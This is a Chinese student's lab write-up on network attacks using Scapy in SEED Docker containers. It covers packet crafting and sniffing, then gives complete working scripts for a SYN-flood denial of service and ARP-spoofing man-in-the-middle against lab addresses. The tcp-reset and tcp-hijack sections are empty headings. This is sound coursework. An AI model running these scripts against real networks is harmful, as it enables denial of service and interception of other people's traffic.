计算机网络安全Lab1

20220330计算机网络安全(王美珍老师)课后作业1

实验环境

老师给出的实验环境是Ubuntu 16.04的Seed虚拟机,但官网也有看上去更加舒服的20.04版本Ubuntu的Seed

SEED Project (seedsecuritylabs.org)

安装完成后,启动即可

整体结构如下图所示,HostB为Seed虚拟机,HostA/HostM/Server2为Container

image-20220331101951960

网络环境

# 模拟Internet的extranet
sudo docker network create --subnet=10.0.2.0/24 --gateway=10.0.2.8 --opt "com.docker.network.bridge.name"="docker1" extranet

# 模拟局域网的intranet
sudo docker network create --subnet=192.168.60.0/24 --gateway=192.168.60.1 --opt "com.docker.network.bridge.name"="docker2" intranet

选项

名称,简写默认描述
–attachablefalse启用手动容器附件
–aux-addressmap[]网络驱动程序使用的辅助IPv4或IPv6地址
–config-from从中复制配置的网络
–config-onlyfalse创建一个仅配置网络
–driver,-dbridge驱动程序来管理网络
–gateway主子网的IPv4或IPv6网关
–ingressfalse创建群体路由网状网络
–internalfalse限制对网络的外部访问
–ip-range从子范围分配容器IP
–ipam-driverdefaultIP地址管理驱动程序
–ipam-optmap[]设置IPAM驱动程序特定选项
–ipv6false启用IPv6网络
–label在网络上设置元数据
–opt, -omap[]设置驱动程序特定选项
–scope控制网络的范围
–subnet表示网段的CIDR格式的子网

网桥驱动选项 –opt

OptionEquivalentDescription
com.docker.network.bridge.name-Bridge name to be used when creating the Linux bridge
com.docker.network.bridge.enable_ip_masquerade--ip-masqEnable IP masquerading
com.docker.network.bridge.enable_icc--iccEnable or Disable Inter Container Connectivity
com.docker.network.bridge.host_binding_ipv4--ipDefault IP when binding container ports
com.docker.network.driver.mtu--mtuSet the containers network MTU
com.docker.network.container_iface_prefix-Set a custom prefix for container interfaces

容器配置

# Server2 10.0.2.7
sudo docker run -it --name=Server2 --hostname=Server2 --net=extranet --ip=10.0.2.7 --privileged "seedubuntu" /bin/bash

# HostA 192.168.60.2
sudo docker run -it --name=HostA --hostname=HostA --net=intranet --ip=192.168.60.2 --privileged "seedubuntu" /bin/bash

# HostM 192.168.60.3
sudo docker run -it --name=HostM --hostname=HostM --net=intranet --ip=192.168.60.3 --privileged "seedubuntu" /bin/bash

工具

依照之前网安实践的指导书,选择HostA/HosM来熟练Scapy应用

在HostM上(默认是root用户)安装Scapy

apt install python-scapy

在HostA上配置tcpdump(解决可能出现tcpdump找不到链接库的问题)

mv /usr/sbin/tcpdump /usr/bin/
ln -s /usr/bin/tcpdump /usr/sbin/tcpdump

构造IP报文

在HostM中命令行直接键入scapy即可进入交互界面

构造一个目的地址dst为HostA(192.168.60.2)的IP报文,并发送

# HostM
ip = IP(dst = "192.168.60.2") # 目的IP
send(ip, iface="eth0") # 指定eth0网卡发送

image-20220331192749860.png

在HostA上通过tcpdump可以查看接收到的报文

# HostA
tcpdump -i eth0 host 192.168.60.3 -n -vv

image-20220331192722570.png

构造二层报文

在HostM上构建ARP二层报文并发送到HostA

# HostM
sendp(
    Ether(
    	dst = "ff:ff:ff:ff:ff:ff"
	) / ARP(
        hwsrc = "00:0c:29:72:b2:b5",
        psrc = "192.168.60.3",
        hwdst = "ff:ff:ff:ff:ff:ff",
        pdst = "192.168.60.2"
    ) / "abc",
    iface = "eth0"
)

image-20220331193935086.png

在HostA上通过tcpdump可以看到结果

image-20220331194011590.png

在HostA上通过sniff方法查看发出去的ARP包,可以看到编号1/3/5的抓包结果都是发送的ARP报文

image-20220331194120550.png

可以更加深入进行查看

image-20220331194353523.png

image-20220331194412367.png

接收IP报文

使用sr()方法由HostM向HostA发送ICMP报文

# HostM
sr(IP(dst = "192.168.60.2") / ICMP())

image-20220331194817909.png

HostA响应了这个包,Results中显示:ICMP:1

如果向同一网段中不存在的IP发送ICMP包,则会触发广播,但是广播也没人回应,毕竟不存在,可以强行中断

Results中显示:ICMP:0,同时Unanswered中显示:ICMP:1

image-20220331195132392.png

可以分别查看Results和Unanswered中具体的内容

image-20220331195527861.png

接收二层报文

同上,由HostM向HostA发二层报文并接收返回信息

# HostM
results, unanswered = srp(
	Ether(
        dst = "ff:ff:ff:ff:ff:ff"
    ) / ARP (
        pdst = "192.168.60.0/24"
    ),
    timeout = 5,
    iface = "eth0"
)

由于向整个网段发送ARP报文耗时较长,所以此处设置timeout为5秒

发送完成后,通过results/unanswered中的内容可以看到响应结果

image-20220331200444397.png

192.168.60.1是网关,也就是seed虚拟机本身

192.168.60.2是HostA,除此之外没有其他同网段的主机了

构造四层报文

启动HostA的HTTP服务

这里根据要求使用了Apache2,由于是在docker环境下完成,所以无法使用systemctl命令

server - systemctl failed to connect to bus - docker ubuntu:16.04 container - Ask Ubuntu

# HostA
service apache2 start
service apache2 status

image-20220331203109325.png

可能出现如下问题

image-20220331203154442.png

解决办法apache2 - Having problem while starting apache server - Ask Ubuntu

# HostA
mkdir /run
mkdir /run/lock

启动完成后,在HostM上可以通过以下命令检验

wget http://192.168.60.2

应有结果

image-20220331203415479.png

构造TCP-SYN报文

在HostM中构造如下报文并发送

# HostM
results, unanswered = sr(
    IP(dst = "192.168.60.2") / TCP(sport = 30, dport = 80, flags = "S")
)

该报文的源端口为30,目的端口为80,即HostA开启http服务的端口,flags = “S"表示是一个TCP-SYN报文

image-20220331203905371.png

HostA中tcpdump获取的记过如下图所示

image-20220331203940288.png

在HostM中查看results结果,可以看到HostA返回了一个flags = “SA"的报文,即回复了ACK报文

image-20220331204441840.png

构造报文时可以随机生成端口

# HostM 随机生成1-65535的数字(也就是端口号的合法范围中的随机数字)
results, unanswered = sr(
    IP(dst = "192.168.60.2") / TCP(sport = RandShort(), dport = 80, flags = "S")
)

# HostM 随机生成指定范围的端口号,避开可能已经被其他应用使用的端口
results, unanswered = sr(
    IP(dst = "192.168.60.2") / TCP(sport = RandNum(1000, 1500), dport = 80, flags = "S")
)

# HostM 还可以使用fuzz方法随机地补全未指定内容
results, unanswered = sr(
    IP(dst = "192.168.60.2") / fuzz(TCP(dport = 80, flags = "S"))
)

image-20220331205154049.png

随机生成了21235源端口号

嗅探

以下是sniff方法的一些参数

image-20220331205323847.png

在HostM上嗅探HostA发送的ICMP报文

# HostM
data = sniff(filter = "icmp and host 192.168.60.2", count = 3)

下图是HostA ping了几次HostM的嗅探结果

image-20220331205738439

#!/usr/bin/python3

from scapy.all import *
print("SNIFFING PACKETS ..........")

def print_pkt(pkt):
    print("Source IP:", pkt[IP].src)
    print("Destination IP:", pkt[IP].dst)
    print("Protocol:", pkt[IP].proto)
    print("\n")
    
pkt = sniff(filter = "ip", prn = print_pkt)

监听TCP

#!/usr/bin/python3

from scapy.all import *
print("SNIFFING PACKETS ..........")

def print_pkt(pkt):
    print("Source IP:", pkt[IP].src)
    print("Source Port:", pkt[IP][TCP].sport)
    print("Destination IP:", pkt[IP].dst)
    print("Destination Port:", pkt[IP][TCP].dport)
    print("Protocol:", pkt[IP].proto)
    print("\n")
    
pkt = sniff(filter = "tcp", prn = print_pkt)

syn-flooding 攻击

#!/usr/bin/python

from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits

def __get_random_ip():
    return str(IPv4Address(getrandbits(32)))

i = 0
while True:
    print(i)
    send(
        IP(
            src = __get_random_ip(),
            dst = "192.168.60.2",
            id = 2345 + i
        ) / TCP (
            sport = RandShort(),
            dport = 80,
            flags = "S"
        )
    )
    i = i + 1

攻击效果(但是在访问HostA的web服务的过程中并未感受到Dos)

image-20220401173759147

arp-spoofing 攻击

#!/usr/bin/python
from scapy.all import *


def getmac(ip):
    arp_p = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=ip)
    ans = srp(arp_p, timeout=2, verbose=False)
    return ans[0].res[0][1][1].fields['hwsrc']


def spoofarpcache(target_ip, target_mac, source_ip):
    spoofed = ARP(op=2, pdst=target_ip, psrc=source_ip, hwdst=target_mac)
    send(spoofed, verbose=False)


def restorearp(target_ip, target_mac, source_ip, source_mac):
    packet = ARP(op=2, hwsrc=source_mac, psrc=source_ip,
                 hwdst=target_mac, pdst=target_ip)
    send(packet, verbose=False)
    print("ARP Table restored to normal", target_ip)


def main():
    target_ip = "192.168.60.2"
    gateway_ip = "192.168.60.1"
    try:
        target_mac = getmac(target_ip)
        print("Target MAC:", target_mac)
    except:
        print("Target machine did not respond ARP broadcast.")
        quit()

    try:
        gateway_mac = getmac(gateway_ip)
        print("Gateway MAC:", gateway_mac)
    except:
        print("Gateway is unreachable.")
        quit()

    try:
        print("Sending spoofed ARP responses.")
        while True:
            spoofarpcache(target_ip, target_mac, gateway_ip)
            spoofarpcache(gateway_ip, gateway_mac, target_ip)
    except:
        pirnt("ARP spoofing stopped.")
        restorearp(gateway_ip, gateway_mac, target_ip, target_mac)
        restorearp(target_ip, target_mac, gateway_ip, gateway_mac)
        quit()


if __name__ == "__main__":
    main()

使用arp欺骗前

名字IPMAC
HostA192.168.60.202:42:c0:a8:3c:02
HostM192.168.60.302:42:c0:a8:3c:03
HostB192.168.60.102:42:66:24:d2:a2

被攻击主机HostA

image-20220401163921242.png

攻击者HostM

image-20220401163814096.png

被欺骗网关HostB

image-20220401164000108.png

执行arp欺骗后

被攻击主机HostA上,HostB 192.168.60.1的MAC已经被改为HostM的MAC

image-20220401164206102

被欺骗网关HostB上,HostA 192.168.60.2的MAC已经被改为HostM的MAC

image-20220401164130650

tcp-reset 攻击

tcp-hijack 攻击